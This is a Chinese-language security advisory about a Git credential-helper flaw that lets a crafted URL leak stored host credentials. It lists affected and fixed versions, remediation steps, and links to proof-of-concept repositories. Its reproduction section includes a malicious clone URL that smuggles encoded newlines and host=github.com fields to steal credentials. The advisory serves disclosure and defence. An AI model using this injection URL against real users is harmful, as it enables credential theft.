一、漏洞描述
Git使用凭证助手(credential helper)来帮助用户存储和检索凭证。但是当一个URL中包含经过编码的换行符时,可能将非预期的值注入到credential helper的协议流中。这将使恶意URL欺骗Git客户端去向攻击者发送主机凭据。当使用受影响版本 Git对恶意 URL 执行 git clone 命令时会触发该漏洞。
二、相关版本情况
受影响版本
Git 2.17.x <= 2.17.3
Git 2.18.x <= 2.18.2
Git 2.19.x <= 2.19.3
Git 2.20.x <= 2.20.2
Git 2.21.x <= 2.21.1
Git 2.22.x <= 2.22.2
Git 2.23.x <= 2.23.1
Git 2.24.x <= 2.24.1
Git 2.25.x <= 2.25.2
Git 2.26.x <= 2.26.0
不受影响版本
Git 2.17.4
Git 2.18.3
Git 2.19.4
Git 2.20.3
Git 2.21.2
Git 2.22.3
Git 2.23.2
Git 2.24.2
Git 2.25.3
Git 2.26.1
三、漏洞复现演示
git在执行类似"git clone https://example.com" 这样的命令时,会请求使用协议"https"存储主机"example.com"的凭据,并在远程端请求身份验证时将返回的凭据附加到发出的请求中
git clone 'http://localhost:8088/%0ahost=github.com%0aprotocol=https'
执行克隆项目
获取到git的凭证
四、漏洞修复
官方已发布修复了漏洞的新版本,建议受影响用户及时下载更新。
https://github.com/git/git/releases
另外,还提供了其他方法解决或规避该问题:
1、禁用credential helper
git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper
2、提防恶意URL
1)git clone时检查URL的主机名和用户名部分是否存在编码的换行符(%0a)或凭据协议注入的证据(例如host=github.com)
2)避免将子模块与不受信任的仓库一起使用(不要使用 clone –recurse-submodules;只有在检查.gitmodules中找到url之后,才使用git submodule update)。
3)避免对不信任的URL执行 git clone。
参考链接:
http://blog.nsfocus.net/git-0416/
https://bugs.chromium.org/p/project-zero/issues/detail?id=2021
https://github.com/brompwnie/cve-2020-5260
https://github.com/sv3nbeast/CVE-2020-5260
后台回复“git”可获取演示poc
免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
公众号:
thelostworld:
个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
个人简书:https://www.jianshu.com/u/bf0e38a8d400